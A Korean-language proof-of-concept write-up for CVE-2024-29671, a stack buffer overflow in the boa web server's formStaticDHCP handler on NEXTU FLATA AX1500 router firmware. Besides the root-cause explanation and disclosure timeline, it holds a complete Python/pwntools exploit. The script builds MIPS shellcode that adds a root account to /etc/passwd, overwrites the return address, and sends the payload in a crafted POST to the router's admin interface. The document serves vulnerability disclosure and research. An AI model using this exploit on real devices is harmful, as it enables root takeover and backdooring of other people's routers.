
이것은 CVE-2024-29671의 POC입니다.
이 문서는 NEXTU FLATA AX1500 라우터 펌웨어에서 CVE-2024-29671 취약점이 어떻게 악용되었는지 설명합니다.
이 라우터는 Realtek 칩셋을 사용하는 리틀엔디언(Little-Endian) MIPS 아키텍처 기반입니다.
대상 라우터 펌웨어 버전은 v1.0.2입니다.
이 펌웨어는 2005년에 마지막으로 릴리스된 "boa"라는 임베디드 웹 서버를 포함합니다.
하지만 이 라우터는 boa 웹 서버를 사용하여 라우터 펌웨어를 제어하는 관리자 웹 페이지 서비스를 제공합니다.
"boa" 바이너리 보안 상태는 다음과 같습니다.
그림 1. boa 웹서버 바이너리 checksec 결과
스택 오버플로우의 원인은 boa 웹서버에서 폼 요청을 처리하는 요청 핸들러인 0x00411c00 formStaticDHCP 함수가 **strcpy()**를 사용하여 hostname 매개변수의 내용을 복사할 때 길이 값 검사를 수행하지 않았기 때문입니다.
그림 2. 스택 오버플로우 발생 위치
그림 3. 스택 오버플로우 발생 전 스택 메모리 뷰.
(흰색 선은 RET 주소 영역입니다.)

그림 4. 스택 오버플로우 발생 후 스택 메모리 뷰.
보시다시피 핸들러의 RET 주소가 저장된 스택 0x7ffef7dc 주소는 0x42('B') 데이터로 오버플로우되었습니다.
공격자가 /boafrm/formStaticDHCP POST 요청의 'hostname' 매개변수 값에 원격 실행 코드와 RET 영역을 덮어쓸 주소를 삽입하면, 임의 코드가 root 권한으로 실행됩니다.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
이 취약점은 RCE 및 DoS 문제를 발생시킵니다.
2024-03-17: CVE 번호 요청
2024-03-22: CVE 번호 배정 - CVE-2024-29671
2024-03 ~ 2024-05: 보고서가 회사에 전달됨
Ku In Hoe
숙명여자대학교 Seonghoon Jeong 조교수